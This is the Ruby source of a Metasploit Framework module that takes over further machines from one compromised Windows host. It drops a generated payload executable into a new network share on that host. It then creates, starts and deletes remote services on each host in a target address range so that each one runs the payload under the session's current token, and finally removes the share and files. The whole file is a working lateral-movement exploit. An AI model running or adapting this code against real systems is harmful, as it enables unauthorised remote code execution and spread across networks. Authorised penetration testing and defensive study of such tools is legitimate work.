##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/services'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	include Post::Common
	include Post::Windows::WindowsServices
	include Exploit::EXE
	include Post::File

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'PsExec via Current User Token',
				'Description'   => %q{
					This module uploads an executable file to the victim system, creates
					a share containing that executable, creates a remote service on each
					target system using a UNC path to that file, and finally starts the
					service(s).

					The result is similar to psexec but with the added benefit of using
					the session's current authentication token instead of having to know
					a password or hash.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [
						'egypt',
						'jabra'  # Brainstorming and help with original technique
					],
				'References'    => [
						# same as for windows/smb/psexec
						[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
						[ 'OSVDB', '3106'],
						[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
					],
				'DisclosureDate' => 'Jan 01 1999',
				'Version'       => '$Revision$',
				'Platform'      => [ 'win' ],
				'SessionTypes'  => [ 'meterpreter' ],
				'Targets' => [ [ 'Universal', {} ] ],
				'DefaultTarget' => 0
			))

		register_options([
			OptString.new("INTERNAL_ADDRESS", [
				false,
				"Session's internal address or hostname for the victims to grab the "+
				"payload from (Default: detected)"
				]),
			OptString.new("NAME",     [ false, "Service name on each target in RHOSTS (Default: random)" ]),
			OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
			OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
		])
	end

	def exploit
		name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
		display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)

		# XXX Find the domain controller

		#share_host = datastore["INTERNAL_ADDRESS"] || detect_address
		share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
		print_status "Using #{share_host} as the internal address for victims to get the payload from"

		# Build a random name for the share and directory
		share_name = Rex::Text.rand_text_alphanumeric(8)
		drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
		share_dir = "#{drive}\\#{share_name}"

		# Create them
		print_status("Creating share #{share_dir}")
		session.fs.dir.mkdir(share_dir)
		cmd_exec("net share #{share_name}=#{share_dir}")

		# Generate an executable from the shellcode and drop it in the share
		# directory
		filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
		payload_exe = generate_payload_exe_service(
			:servicename => name,
			# XXX Ghetto
			:arch => payload.send(:pinst).arch.first
		)

		print_status("Dropping payload #{filename}")
		write_file("#{share_dir}\\#{filename}", payload_exe)

		service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"

		begin
			Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
				begin
					print_status("#{server.ljust(16)} Creating service #{name}")

					# 3 is Manual startup. Should probably have constants for this junk
					service_create(name, display_name, service_executable, 3, server)

					# If everything went well, this will create a session. If not, it
					# might be permissions issues or possibly we failed to create the
					# service.
					print_status("#{server.ljust(16)} Starting the service")
					service_start(name, server)

					print_status("#{server.ljust(16)} Deleting the service")
					service_delete(name, server)
				rescue
					print_error("Exception running payload: #{$!.class} : #{$!}")
					print_error("#{server.ljust(16)} WARNING: May have failed to clean up!")
					print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
					next
				end
			end
		ensure
			print_status("Deleting share #{share_name}")
			cmd_exec("net share #{share_name} /delete /y")
			print_status("Deleting files #{share_dir}")
			cmd_exec("cmd /c rmdir /q /s #{share_dir}")
		end

	end

end

